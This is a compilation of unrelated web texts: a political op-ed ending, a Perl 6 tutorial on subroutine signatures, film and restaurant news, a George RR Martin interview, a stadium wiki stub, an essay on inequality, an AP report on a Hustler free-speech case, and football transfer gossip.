loyal, terrific & worked real hard.” Reprising MacArthur on leaving Corregidor as it was about to fall to the Japanese in 1942, the president added: “We will return!”  Nobody likes Obamacare, and Americans are fleeing the failing scheme by the thousands, many insurance companies are leaving the field and those remaining are doubling premiums, up by a hundred percent in some places with the expectation that premiums will rise again next year. The Republican alternatives, American Health Care Act in the House and the Better Care Reconciliation Act in the Senate, were regarded as not much better, but were good enough that a well-disciplined Republican majority would have passed something, understanding that the administration needed a victory to establish the momentum that would have enabled other things, such as a tax cut. The Democrats are determined to smash that, too.  Mr. Trump thinks that when Obamacare collapses into smoking ruins the Democrats will “own it,” and be blamed for the scheme they enacted without a single Republican vote. But if he really thinks that he should put on his shock absorbers for another jolt. Backed by a compliant combine of the big newspapers and the major television networks, the Democrats will charge ahead with the narrative that “Obamacare needed a few tweaks to make it work, but the president and the Republicans wouldn’t do it because they’re heartless and like watching the suffering of the poor, the helpless, the homeless and the wretched refuse on the shore, yearning to breathe free.” And so forth and so on. The Republicans will get the blame, and wonder how it happened.  Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.
-Perl 6 subroutines  In this article we will look at how subroutines can be defined in Perl 6.  sub  slurpy  *  multi  ?  × Note! This site is about Perl 6.  If you are looking for a solution for Perl 5, please check out the  This site is aboutIf you are looking for a solution for Perl 5, please check out the Perl 5 tutorial  Subroutines in Perl 6  I have been thinking for some time now on how to teach subroutines in Perl 6, and I don't have a good answer yet. For now, instead of some methodological introductions, I'll just try to throw together a few examples and we'll see if something comes out of that?  In Perl 6, just as in Perl 5 one can define a subroutine without specifying the list of parameters. When someone calls that subroutine, the values are found in the private array called @_.  use v6; foo('a', 'b', 'c'); sub foo { say @_.join(':'); # a:b:c }  There is more to even that in Perl 6 than in Perl 5, but let's look at the nicer examples of Perl 6:  In Perl 6, one can define a real signature for the subroutines and let the language, or rather the implementation, check if a valid set of arguments were passed.  Actually, instead of checking if the right number of arguments were passed, Perl will not even call the function if you did not give the correct list of arguments.  I can already hear the people getting worried about the flexibility of passing an arbitrary number of arguments and then letting the function figure it out. Don't worry. You can have that too in Perl 6.  Simple scalar parameters  The most basic example I usually show is the add function with two parameters. That's usually enough in Perl 5, but very far from that in Perl 6.  use v6; sub add($a, $b) { return $a+$b; } say add(2, 3); # 5  Then if you try to call this with 3 parameters like this:  say add(2, 3, 4);  Rakudo will throw a compile-time exception as it cannot find the appropriate function.  ===SORRY!=== CHECK FAILED: Calling 'add' will never work with argument types (int, int, int) (line 7) Expected: :($a, $b)  Subroutine with arbitrary number of parameters  That would be the time to show how to define a subroutine that can get arbitrary number of values, but that requires introducing two concepts at a time. So I'll have to find a better set of examples.  Anyway, if we would like to implement a sum() subroutine that can get any number of values we need to define it like this:  use v6; sub sum(*@values) { my $sum = 0; for @values -> $v { $sum += $v } return $sum; } say sum(2, 3); # 5 say sum(2, 3, 4); # 9  We have to define the expected parameter as a slurpy array by preceding its @ sigil with a *. It will then accept any number of values as parameter, and put them in the @values array.  I can call it either with literal scalars  say sum(2, 3); # 5  or even with a list of arrays and scalars mixed  my @a = (2, 3, 4); my $z = 5; say sum(@a, $z); # 14  We already saw the for loop earlier, if you don't recall it, here is the link: Looping over a list of values one at a time, two at a time and more  Reduction operator  Of course this is not really a good example anyway as that function should be using the reduction operator (see S03-operators)...  sub sum(*@values) { return [+] @values; }  ... and of course no one should write a function for that.  The reduction operator is one of the meta-operators of Perl 6. It is a prefix version of an infix operator, but I digress.  Passing arrays and hashes  In Perl 5, we had to learn about references in order to be able to pass more than one array or hash to a subroutine. That also meant the subroutine always has full access to the original data structure. Effectively call-by-reference. The subroutine could change the passed parameter by accident. Not really clean coding.  In Perl 6, there are no such references and there is no need for them. If you'd like to accept a real array or hash as a parameter for a subroutine, you can declare that in the signature of the subroutine.  For example I have a script that generates html pages from templates and I have some code like this: (Mine was using HTML::Template but that's not relevant now so I am just printing out the parameters.)  use v6; sub process_template($input, $output, %params) { say "open $input"; say "replace {%params.perl}"; say "save $output"; } my %data = ( fname => "Foo", lname => "Bar", ); process_template("index.tmpl", "index.html", %data);  the output  open index.tmpl replace ("fname" => "Foo", "lname" => "Bar").hash save index.html  Now I know this example does not show the real power of having several complex data structures in the parameter list. I could have written:  sub xyz($input, @value, %data) { }  and then pass a scalar, an array and a hash. I just don't have a good example for that yet.  Anyway, the above example had a bit of data multiplication and the name of the output file could have been generated from the name of the template. It is the same name, just with different extension.  So I could write the code like this, passing only the name of the template and generating the name of the output file from that:  use v6; sub process_template($input, %params) { my $output = substr($input, 0, *-4) ~ "html"; say "open $input"; say "replace {%params.perl}"; say "save $output"; } my %data = ( fname => "Foo", lname => "Bar", ); process_template("index.tmpl", %data);  The output is  open index.tmpl replace ("fname" => "Foo", "lname" => "Bar").hash save index.html  In this code ~ is the concatenation operator  Multiple signatures  That's ok, but there are cases when the name of the template and the output file are different. So I need both versions. In Perl 6, it is not a problem, I can just define both of the functions, telling Perl that they are multies - so it won't think I am redefining a function by mistake.  use v6; multi sub process_template($input, %params) { my $output = substr($input, 0, *-4) ~ "html"; say "open $input"; say "replace {%params.perl}"; say "save $output"; } multi sub process_template($input, $output, %params) { say "open $input"; say "replace {%params.perl}"; say "save $output"; } my %data = ( fname => "Foo", lname => "Bar", ); process_template("index.tmpl", %data); process_template("from.tmpl", "to.html", %data);  The output will be:  open index.tmpl replace ("fname" => "Foo", "lname" => "Bar").hash save index.html open from.tmpl replace ("fname" => "Foo", "lname" => "Bar").hash save to.html  For every function call Rakudo will look for a function that matches the signature and call that function. If no match is found it will throw an exception. For example, in our case, calling without a hash will throw a compile-time exception:  process_template("from.tmpl", "to.html");  ===SORRY!=== CHECK FAILED: Calling 'process_template' will never work with argument types (str, str) (line 23) Expected any of: :($input, %params) :($input, $output, %params)  Sometimes that's what we want. In other cases we might want to allow the user to call the above functions without providing any parameters. We could write two additional functions without the %params but that is just unnecessary code duplication. Instead we can declare the hash as optional by adding a question mark ? at the end of the parameter:  Optional parameters  multi sub process_template($input, %params?) { multi sub process_template($input, $output, %params?) {  If we defined our functions that way we could call  process_template("from.tmpl", "to.html");  and it would know how to find the right subroutine leaving the %params hash empty.  The problem is, that in this case calling  process_template("index.tmpl", %data);  will generate a compile-time error:  Ambiguous call to 'process_template'; these signatures all match: :($input, %params?) :($input, $output, %params?) in block at a.pl:21  That happens because the $output parameter could accept both the second string or the hash (as a reference). In order to avoid that we can tell the subroutine, that the $output variable must be a string by putting Str in front of the variable.  multi sub process_template($input, Str $output, %params?) {  As you can see, there is a lot more one can do with signatures, but I think this is enough for today.  Email: Full name:  Thenewsletter has been around for a while. If you are interested to get special notification when there is new content on this site, it is the best way to keep track:This is a newsletter temporarily running on my personal site (szabgab.com) using Mailman, till I implement an alternative system in Perl 6.Written by Gabor Szabo  Published on 2012-08-07  Comments  Please enable JavaScript to view the comments powered by Disqus.  Disqus
-It looks like we’ll have one fewer present to open come Christmas Day. Open Road has pushed Oliver Stone‘s Snowden off its year-end release calendar and into 2016. The film stars Joseph Gordon-Levitt as the controversial NSA whistleblower. More on the Snowden release date delay after the jump.  Open Road has not yet announced a new release date for Snowden. THR‘s sources indicate the film isn’t done yet, so the delay should give Stone more time to finish up. Unfortunately, the release date change also takes Snowden out of the running for this year’s Oscar race. (Gordon-Levitt might remain part of the Oscar conversation, though, as he’s also got Robert Zemeckis’ The Walk due out later this year.)  On the other hand, it’ll spare Snowden the challenge of competing on the crowded holiday weekend. Under its old December 25 release date, Snowden would have been up against Alvin and the Chipmunks: The Road Chip, Daddy’s Home, Point Break, Concussion, Joy, The Hateful Eight, and The Revenant, as well as the second week of Star Wars: The Force Awakens.  Stone and Kieran Fitzgerald wrote the Snowden screenplay, based on Luke Harding‘s The Snowden Files: The Inside Story of the World’s Most Wanted Man and Time of the Octopus by Anatoly Kucherena. The latter is a novel by Snowden’s Russian lawyer, about an American whistleblower awaiting asylum in a Russian airport.  Snowden is still a figure of controversy, and if you’re wondering where Stone stands, he’s made his position pretty clear in the past. He’s gone on the record calling Snowden a “hero” for exposing the details of NSA’s global surveillance program, and President Barack Obama a “disgrace” for prioritizing the hunt for Snowden over the reformation of “George Bush-style eavesdropping techniques.”  Besides Gordon-Levitt, Snowden stars Shailene Woodley as Snowden’s girlfriend Lindsay Mills; Melissa Leo as Citizenfour director Laura Poitras; Zachary Quinto as journalist Glenn Greenwald; Tom Wilkinson as political reporter Ewen MacAskill; Timothy Olyphant as a CIA agent who befriends Snowden; and Nicolas Cage as a former intelligence official.
-Game of Thrones may be blood-curdling and violent fare but its 65-year-old creator, George RR Martin, is a portly, softly spoken figure in black shirt and braces whose silver beard makes him look a little like Father Christmas as portrayed by Raymond Briggs. On a humid afternoon, he is sitting on a sofa in a suite at the Beau-Rivage, the most upmarket hotel in Neuchâtel, Switzerland.  The New Jersey-born writer is guest of honour at the Neuchâtel International Film Festival (NIFF), whose organisers are clearly delighted to have such an eminent figure in their midst. They confide that they have been startled by how amenable Martin has proved. "He wants to meet people," the festival's artistic director Anaïs Emery says with evident surprise as she details the many book signings, masterclasses and press events he has already attended. (He has also found time to visit the HR Giger Museum in nearby Gruyères.)  After my interview with him, Martin is due to introduce a screening of Alfred Hitchcock's Psycho that he has programmed (alongside two of his other favourite films, Casablanca and Forbidden Planet).  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  "I thought Psycho was an interesting choice because people are constantly saying I kill people in my work unexpectedly," says Martin, explaining his decision to unleash Hitchcock's mother-fixated maniac Norman Bates on the Swiss festival-goers.  Psycho is notorious for the scene of its ostensible star, Janet Leigh, being stabbed to death in the shower. This happens long before the final credits roll.  Game of Thrones has its own Psycho moments. For example, some fans still haven't quite forgiven Martin for killing off Ned Stark (played by Sean Bean in the HBO TV adaptation) so early in the story. After all, Ned was one of the heroes of the first series: a craggy, sable-covered patriarch, courageous and doggedly loyal, who was chief of the House of Stark. Martin, though, isn't about to apologise for taking off Ned's head.  "Hitchcock and [writer] Robert Bloch did that in Psycho. I wanted to establish that connection in particular. I am hardly the first person to kill a character unexpectedly and thereby get a big reaction from the audience."  Working primarily as a novelist, and now in television, Martin may seem an incongruous presence at a film festival but he is self-evidently a cinephile. In Santa Fe, where he has lived since the late 1970s, he owns and runs the Jean Cocteau Cinema. When he was growing up in Bayonne, New Jersey, cinema-going was as important to him as reading Marvel comics and Robert Heinlein sci-fi novels.  The picture Martin paints of himself as a kid growing up is Dickensian in its pathos. He was born in 1948. His family was very poor. His father was a longshoreman. Little George used to scrimp together money to buy comics and movie tickets by writing and performing "little monster stories". He sold them to the other kids in the projects for a nickel. (These were composed longhand, on school notebook paper.)  "When I was living in Bayonne, I desperately wanted to get away. Not because Bayonne was a bad place, mind you. Bayonne was a very nice place in some ways. But we were poor. We had no money. We never went anywhere."  His father, Raymond Collins Martin, spent around two years unemployed. Even when he eventually found employment as a longshoreman (and got his all-important union credentials), the work wasn't consistent. "You have a card and you have to show up at dawn every day," Martin says, recalling his father's working life. "Maybe you go home and you don't make anything. They hire the more seasoned men, the more veteran men. The longer you're in it, the more work you get but there are some rough times at the beginning."  The family didn't have a car. They lived on 1st Street. Martin walked every day to school on 5th street. The farthest he strayed from "the five blocks that seemed to be my lot," was when he took the bus to the cinema on 16th Street. Until he went to college (he studied journalism at Northwestern in Illinois), he lived a confined and claustrophobic existence. "There was a hunger in me to see more of the world, to see things I only read about in books."  Shape Created with Sketch. Game of Thrones season 5 cast Show all 9 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Game of Thrones season 5 cast 1/9 Game of Thrones season 5 Oscar-nominated New Zealand actress Keisha Castle-Hughes will play the fiery Obara Sand, one of Prince Oberyn’s illegitimate daughters, who is seeking revenge for her father’s murder at the hands of the Mountain in season four Getty Images 2/9 Game of Thrones season 5 Nymeria “Nym” Sand will be played by Jessica Henwick, her best known role to date is in television series Silk and Spirit Warriors BBC 3/9 Game of Thrones season 5 Jonathan Pryce will star as the High Sparrow, a religious figure who could be making waves in King’s Landing Getty Images 4/9 Game of Thrones season 5 Alexander Siddig, who will be playing Doran Martell, the stoic ruler of Dorne and the older brother of the gruesomely slain Oberyn Getty Images 5/9 Game of Thrones season 5 Enzo Cilenti (left) will take on the part of the slave trader Yezzan Rex Features 6/9 Game of Thrones season 5 London-born star DeObia Oparei will play Areo Hotah, the loyal protector of Doran Martell Getty Images 7/9 Game of Thrones season 5 Rosabell Laurenti Sellers will play Tyene Sand, one of the illegitimate daughters of Oberyn Martell, the Prince of Dorne Getty Images 8/9 Game of Thrones season 5 Myrcella Baratheon will be played by newcomer Nell Tiger Free Rex Features 9/9 Game of Thrones season 5 Newcomer Toby Sebastian will take on the role of Trystane Martell, the youngest son of Doran 1/9 Game of Thrones season 5 Oscar-nominated New Zealand actress Keisha Castle-Hughes will play the fiery Obara Sand, one of Prince Oberyn’s illegitimate daughters, who is seeking revenge for her father’s murder at the hands of the Mountain in season four Getty Images 2/9 Game of Thrones season 5 Nymeria “Nym” Sand will be played by Jessica Henwick, her best known role to date is in television series Silk and Spirit Warriors BBC 3/9 Game of Thrones season 5 Jonathan Pryce will star as the High Sparrow, a religious figure who could be making waves in King’s Landing Getty Images 4/9 Game of Thrones season 5 Alexander Siddig, who will be playing Doran Martell, the stoic ruler of Dorne and the older brother of the gruesomely slain Oberyn Getty Images 5/9 Game of Thrones season 5 Enzo Cilenti (left) will take on the part of the slave trader Yezzan Rex Features 6/9 Game of Thrones season 5 London-born star DeObia Oparei will play Areo Hotah, the loyal protector of Doran Martell Getty Images 7/9 Game of Thrones season 5 Rosabell Laurenti Sellers will play Tyene Sand, one of the illegitimate daughters of Oberyn Martell, the Prince of Dorne Getty Images 8/9 Game of Thrones season 5 Myrcella Baratheon will be played by newcomer Nell Tiger Free Rex Features 9/9 Game of Thrones season 5 Newcomer Toby Sebastian will take on the role of Trystane Martell, the youngest son of Doran  Thanks to his success, Martin can now of course travel far and wide. But even so, his nostalgia for his childhood is evident. He still goes back to Bayonne. "I miss the pizza, which is the best in the world, and I still have family there."  His father, who died before Martin made it big as a novelist, was not an expressive man. Nor did he care for literature (although he was proud his son made it to college.) "I don't think he ever read a book after he got out of school and he never finished high school."  Strangely, we have to thank the American world chess champion Bobby Fischer for Martin's emergence as a writer. Martin was a very proficient chess player himself.  "I started playing chess when I was quite young, in grade school. I played it through high school. In college, I founded the chess club. I was captain of the chess team."  In the American chess-rating system, Martin was categorised at his peak as "expert," one rank below "master".  "The importance of chess to me was not as a player but as a tournament director. In my early 20s, I was writing. I sold a few short stories. My big dream was to be a full-time writer and support myself with my fiction but I wasn't making enough money to pay my rent and pay the phone bill – so I had to have a day job."  In 1972, Bobby Fischer did Martin a huge favour by winning the world chess championship. "Bobby Fischer played Boris Spassky in Reykjavík and won – and the entire American chess community went nuts!"  On the back of Fischer's success, the game became hugely popular. Martin was hired to direct the Midwestern circuit for a national organisation that ran chess tournaments. "For two or three years, I had a pretty good situation. Most writers who have to have a day job work five days a week and then they have the weekend off to write. These chess tournaments were all on the weekend so I had to work on Saturday and Sunday – but then I had five days off to write. The chess generated enough money for me to pay my bills."  After a year or two, the American chess bubble burst. All those enthusiasts who had taken up the game after Fischer's victory over Spassky stopped playing. There was no longer much money in setting up tournaments. "But, by then, I was much better established as a writer," he reflects. "The chess really did mark a crucial turning point in my career."  Martin himself long ago gave up chess. He decided that he didn't have the dedication or love of the game to treat it as a full-time job. "You have to study the books and memorise the openings and play constantly, play games every day, over and over again," he sighs. "I wasn't willing to do that. I enjoyed chess, it was fun playing it and doing the tournaments but I didn't want to make it my job. Writing gave me much more satisfaction."  I ask Martin if all the tactical thinking and preparation involved in his chess career helped him later when he turned to constructing something as complex as A Song of Ice and Fire, the epic series of fantasy novels of which Game of Thrones was the first. Given the size of the enterprise, the vast cast of characters and huge array of subplots, how does he work out what fits where?  The author laughs ruefully. "I don't have an easy answer to that. I just do. It is in my mind. I have charts of course. Most of it is on the computer. I have files on the computer. I have lists of chronologies and family trees. I consult those from time to time but less than you would think. Most of it is just in my head."  Martin acknowledges that he is "aided" by the fact that he has written Ice and Fire in the age of the computer. Touchingly, he still types up his work on an ancient DOS word processor. "DOS with WordStar 4.0," he elaborates. "Primitive though it is, compared to certain systems, it has a search and replace function that is very useful. I have assembled all four of the published books into one gigantic document. If I am about to write about a character, Bill, I do a search and see every previous time I mentioned Bill and what I said about him. Even then, I still make mistakes because it is large. That is maybe one reason why I've slowed down a little, as I get deeper into it and it gets more and more complex, it is harder to remember. Maybe I take a little more time in reviewing what I did last week or last year or three years ago."  The "slowing down" Martin mentions is a source of huge disquiet to some of his fans, who are desperate for him to finish his magnum opus as soon as possible. They take delays personally and have been at times vicious in their attacks on the author for keeping them waiting.  "I have the best fans in the world for the most part," Martin sighs. "There is a minority who are annoying, it has to be said. But for every one of those, there are 500 who are just great and who are very supportive. They buy the books and come out in their thousands when I do a signing."  The author seems grounded and phlegmatic but acknowledges the occasional bad review "sticks in the craw" and that he is still "bothered" by the sniping of some of his more aggressive fans, telling him to get a move on. "But I just have to accept it. It comes with the territory." As he tells himself, it's a problem most writers would "die to have."  "With most writers, no one gives a shit when their book is coming out and even when it does come out, no one cares. I would much rather have my problem than their problem."  Besides, before A Song of Ice and Fire started selling in the millions, Martin had his own share of "flops and failures" as he freely acknowledges. There were times when he thought his career was over.  The author has been a beneficiary of a digital age in which fans and authors have become closer than ever before. Nonetheless, he still believes in a traditional, ordered model of publishing in which manuscripts are crafted and refined – not simply dumped on the internet. He pays heartfelt tribute to his UK and US editors, Jane Johnson of HarperCollins and Anne Lesley Groell of Bantam Spectra. "They're both great. They read the books. They give me their commentary. I work with them on it. I think editors are still important."  Good editors, he continues, are "gatekeepers" who find and guide new talent. "The world is changing, I will admit. I am old enough and now very well established so the changes don't affect me so much. But with the rise of the internet and self-publishing, we are seeing people who are trying to reach the readers directly and bypass traditional publishing and bypass the editors. It is really too early to tell where that will lead but I am not necessarily sure it will lead to a good place. I do think the function of editors as gatekeepers is a valuable and worthy function – they do save us from reading a lot of crap!"  The novelist is midway through something of a European tour. After his trip to Switzerland, he is due in Scotland for the Edinburgh book festival. It has often been suggested that Ivanhoe (by the Scottish 19th-century novelist Walter Scott) was, alongside the War of the Roses, a major influence on A Song of Ice and Fire/Game of Thrones.  Martin was first turned on to Ivanhoe by the 1952 MGM movie starring Robert Taylor, George Sanders and a young Elizabeth Taylor. "I think it was Elizabeth Taylor at the peak of her...," his voice tails off before he clarifies. "She was the most beautiful woman in the world. I think I was nine years old when I saw that movie. How could you not fall in love with her? But the jousting and the pageantry of it made me love that story. Later, in high school, I did read that book. For a modern reader, it's a little tough to get through. The prose is very Victorian and thick but if you fight your way through it, the story is there. It has everything the movie has and more – the heraldry and jousting and the insight into the times. It was an influence in that sense."  Thanks to HBO's Game of Thrones, Martin is now a major figure in US TV as well as an author with the 21st-century's equivalent of the popularity and reach that Walter Scott once enjoyed. One of the producers of the TV series referred to it flippantly as: "The Sopranos in Middle Earth." Such a description isn't so far off the mark. Without The Sopranos, Martin acknowledges that Game of Thrones might never have been greenlit. In the 1980s, Martin had worked for CBS television on The Twilight Zone. The American television world he encountered then was very different from the one he thrives in today.  "Certainly, HBO and premium cable in general has none of the rigid censorship that you encountered on the traditional broadcast network," Martin muses. "The networks were looking for a very broad, general audience. They wanted all groups, all ages, all demographics, mass audiences – and they were definitely very afraid of offending anyone."  This used to lead to bland, safety-first programme choices. "You had to write very sanitised stories," Martin remembers. "You always heard the phrase 'we're inviting people into our living room.' If there are obnoxious, mean people, we wouldn't invite them into the living room every week."  Martin credits David Chase's groundbreaking tale of a Mafia boss with changing this way of thinking. "The first episode of The Sopranos was one of the great changing points in television history. You meet this guy, Tony Soprano. You see him in this psychiatrist's office, talking about these ducks who have flown away. He seems like a very sympathetic guy. He's upset about ducks. You like him. Then, he's driving home. He sees this guy who owes him money and he runs him over with the car and gets out and starts kicking him. Maybe you don't like him so much but you are still ~ interested in him."  This was a lesson that Game of Thrones took to heart. Heroes don't have to be likeable. The Sopranos also proved that serialised dramas (as opposed to episodic dramas which could be shown in any order) could also work with audiences. Martin gives the example of Gunsmoke, a series that lasted for 20 years on American TV without seemingly changing. "Many people passed through Dodge City but at the end of the episode, Miss Kitty was in the Long Branch saloon, Doc was playing chess in his office and Matt Dillon and his deputy were down in the sheriff's office."  In Game of Thrones, by contrast, all is flux and chaos. This is TV drama on an epic, cinematic scale – one reason why Martin is so keen to round off the series with an actual movie.  "If we go seven or eight seasons and then the show is still big enough that we can get the $200m to finance a huge epic movie to end it… sure!" he enthuses about the prospect of a big-screen version.  In spite of the huge cast and very big budget ($6m per episode) of the television series, it is a source of frustration to the writer that not even HBO has the resources to do full justice to the original series of novels.  "We still run into budgetary problems. We've done a couple of great battles, for example, the Black Water battle in season two that I scripted and in this past season, episode nine was one long battle – the Battle of the Wall. Those have been great episodes, but we've also had to skip half the battles. Instead we have a messenger run on from off stage and say 'We've won the battle!' Battles are very expensive."  Martin would like any Game of Thrones movie to do full justice to the battles and to be shown on the biggest screen possible – but he does draw the line at 3D.  "I don't care about 3D," he says. "It gives me a headache."  In the meantime, Martin has work to do. He needs to complete writing his epic fantasy. When he finally does so, one prediction can safely be made. All those impatient readers who've been carping at him and telling him to get a move on are bound to feel a sense of loss. They will probably then regret that he didn't spend even longer spinning out his tale. That's the paradox – the fans are desperate to know the ending to a story that they want to go on forever.  George RR Martin will be speaking at the Edinburgh International Book Festival on Monday  OTHER NOTABLE AMATEUR CHESS PLAYERS  Stanley Kubrick  Used to play for money in Central Park. While filming '2001', he played 25 games with the scientist and writer Jeremy Bernstein.  Humphrey Bogart  Once drew against Grandmaster Samuel Reshevsky in 1956. One of his correspondence chess-game positions featured in 'Casablanca'.  Ray Charles  Charles played with a special board designed for blind players. The singer revealed in a 2002 'Chess Life' cover story that Dizzy Gillespie used to "beat the hell" out of him when they played each other.
-Facility information and history Edit  Events Edit  Naming rights Edit  The movable field outside of the stadium. On September 26, 2006 the University of Phoenix acquired the naming rights to the stadium totalling $154.5 million over 20 years.[29] On April 11, 2017, the University of Phoenix terminated the naming rights just 11 years into the 20-year deal, citing financial woes; however, the university kept its name on the stadium until a replacement company was found to give naming rights to. On September 4th, 2018, State Farm reached a deal securing the rights through 2036. University of Phoenix will remain involved as a sponsor with the team in a reduced capacity as the Cardinals' "official education partner."  Parking space Edit  The stadium has approximately 14,000 on-site parking spaces (plus 12,000 adjacent spaces),[30] located in numerous lots that surround the stadium's 2,000 disabled parking spaces. The design improvement, featured for example in a Discovery program about this stadium, is zoning. Parking spaces for guests are zoned with preferred leaving directions, to achieve the fastest possible movement of traffic.[31]
-Earlier this week, a post from Paul Qui on Instagram started a gossip storm in the Houston restaurant world. Qui mysteriously ‘grammed a rendering of a space at 520 Westheimer, and now it’s confirmed that the Austin-based chef is headed to Clutch City.  The Houston Chronicle reports that Qui will open an upscale Asian eatery called Aqui (get it?) in the building at 520 Westheimer. The restaurant will focus on “wood and wok cooking,” including meats grilled on a ripping hot Josper oven, along with a raw bar and menu of cocktails. According to Eater Austin, the restaurant is being designed by A Parallel Architecture, and will feature a similar aesthetic as Kuneho, Qui’s flagship restaurant in Austin.  The restaurant is set to open its doors in “spring or early summer,” which is right around the same time that Qui will head to court to face a 2016 assault charge for allegedly hitting his girlfriend. Qui, who denies that he committed the assault, later checked himself into a “medical treatment facility.”  It’s going to be a busy next few months for Qui. Today, Eater Austin reports that he is also facing a lawsuit from a vendor that accuses the chef of skipping out on a $24,000 bill. Hopefully he’ll be able to stay out of court long enough to get Aqui open before the Houston summer sets in.
-In The Spirit Level, Richard Wilkinson and Kate Pickett draw upon decades of research to show that, among rich countries, high levels of inequality correlate with lower levels of social cohesion and social mobility, worse mental and physical health, and higher levels of crime, violence, drug use, and imprisonment. These problems do not merely afflict the poor. Rather, they touch people across the social spectrum. The implication is that large income gaps, by themselves, are significant contributors to these particular sources of human misery.  For example, residents of countries and American states with higher levels of income inequality are less likely to believe that most people can be trusted. There are a few reasons that might be the case. Yawning income gaps could cause communities to segregate along class lines, preventing the rich and poor from mingling. The wealthy might come to believe the poor just want to take their money. The poor might believe they're being exploited.  And indeed, social trust in America has declined over the past few decades in lockstep with our rising income inequality. We might personally experience this in simple, day-to-day ways. Think of walking down the street and worrying you might be mugged, or walking into work and assuming your boss will try to bilk you out of overtime pay. But it's also not hard to think of examples of how this has shaped our politics. Just recall conservatives railing against "takers" during the election, or Occupy protesters fuming against the rich. Americans up and down the social ladder believe others are out to get them.  Meanwhile, the data show that trust in others makes us feel more secure and cooperative, and are more likely to donate time and money to helping our communities. In short, widespread trust makes our lives more pleasant, and income inequality undermines it.  Inequality may also be driving our sky-high rates of depression and other mental illnesses. Wilkinson and Pickett draw on World Health Organization data to show that higer-inequality countries like the U.S., the UK, and Australia have double the rates of mental illness of lower-inequality societies like Japan, Belgium, and Germany. Additionally, anxiety-related disorders are a much larger percentage of mental illnesses in higher-inequality societies than lower-inequality societies.  This too has a very straightforward causal story: Members of high-inequality societies have to contend with status anxiety, among other issues. In such societies, the poor will suffer anxiety and depression over their especially low status and inability to acquire the material things associated with high-status individuals and success. The rich will suffer anxiety related to the possibility of losing their top spots: when the rungs of the ladder are far apart, you have a long way to fall. More than worries about themselves, the rich probably worry about their kids being able to out-compete others to capture a similarly remunerative spot in their future life, anxieties that have gotten so bad in some cases that rich parents even hold their kids back a year from kindergarten on the hopes that they will be more physically and mentally developed than their future classmates.
-WASHINGTON (AP) _ The Supreme Court today refused to hold Hustler magazine financially liable for the death of a 14-year-old Texas boy who died during a sexual experiment.  The justices, without comment, let stand an appellate ruling that a $182,000 jury verdict against Hustler violated the magazine’s free-speech rights.  Troy Daniel Dunaway was found dead at his Houston area home on Aug. 7, 1981. His nude body was hanging by its neck in his bedroom closet, and at his feet lay an issue of Hustler.  The magazine was opened to an article, entitled ″Orgasm of Death,″ that dealt with a sexual practice called autoerotic asphyxiation - cutting off blood to the brain while masturbating.  The boy’s mother, Diane Herceg, and the young friend who discovered his body, Andy Vines, filed a wrongful-death lawsuit against Hustler.  The suit contended that the magazine article amounted to an ″incitement to lawless conduct″ and therefore should not enjoy the freedom of speech guaranteed by the Constitution’s First Amendment.  In a 1969 decision called Brandenburg vs. Ohio, the Supreme Court said speech aimed at sparking lawless action - such as inciting a riot - is not constitutionally protected and can be made a crime.  A federal jury awarded Mrs. Herceg and Vines $169,000 and $13,000, respectively, in damages, but the 5th U.S. Circuit Court of Appeals threw out the verdict last April 20.  Relying on the 1969 decision, the appeals court said, ″The crucial element to lowering the First Amendment shield is the imminence of the threatened evil. ... Even if the article paints in glowing terms the pleasures supposedly achieved by the practice it describes, no fair reading of it can make its content advocacy, let alone incitement to engage in the practice.″  In an unrelated case, the Supreme Court on Feb. 24 overturned a $200,000 award won against Hustler and its publisher, Larry Flynt, by evangelist Jerry Falwell.  The justices ruled in that case that public figures cannot win lawsuits based on ″emotional distress″ they suffer from satires or parodies if such spoofs cannot reasonably be believed to contain factual statements.  A Texas jury recently ordered Soldier of Fortune magazine to pay $9.4 million to the family of a woman whose husband hired her killer through a classified advertisement in the magazine. An appeal in that case is expected.  In the appeal acted on today, lawyers for Mrs. Herceg and Vines argued that the 5th Circuit court misapplied the Brandenburg decision.  ″It seems self-evident that criminal prosecution of a speaker (which had occurred in the 1969 case) provides a greater threat to First Amendment values than a mere civil lawsuit,″ the appeal said.  The appeal urged the justices to provide guidance ″for striking a balance between First Amendment values and the equally important value of providing a seriously injured party with a remedy against the person whose conduct caused the injury.″  The case is Herceg vs. Hustler, 87-113.
-After having two bids for England forward Wayne Rooney turned down by Manchester United, Chelsea are reportedly hoping to make it third time lucky  Wayne Rooney's camp have informed Arsenal that the player has made up his mind to join Chelsea, sources close to the negotiations have told ESPN.  With the pursuit of Liverpool's Luis Suarez reaching an exceptionally tense impasse, Arsene Wenger has attempted to keep the Rooney option open as he seeks to bring in a forward.  Although Rooney is understood to have made his huge admiration of Wenger clear to him, he is determined to join Chelsea and team up with Jose Mourinho, something Arsenal have been notified of.  At the moment, however, the prospects of that remain slim. United are steadfast in their refusal to sell Rooney and it is understood the club may attempt a more conciliatory approach in order to keep him happy.  The developments could force Arsenal to turn their attention even further afield, given that Anfield sources have maintained that Liverpool owner John Henry's comments on Thursday were no mere negotiating ploy.  In a stance that is said to be even more hardline than United's attitude to selling Rooney, Liverpool officials are unequivocal about not selling the Uruguayan to another English club. One Anfield insider cited how it would be tantamount to ceding the race for fourth before the season has even begun.  United, meanwhile, are re-assessing their options as the club's pursuit of Cesc Fabregas appears to have terminally stalled. Widely reported approaches for Marouane Fellaini and Leighton Baines are expected to be made in the next week, with David Moyes considering his next move as regards to bringing in a central midfielder.  Moyes is known to have been happily surprised by the progress Anderson, 25, in training and pre-season games, but still feels the club may need to bring in midfield reinforcements, even beyond Fellaini.  © ESPN Sports Media Ltd
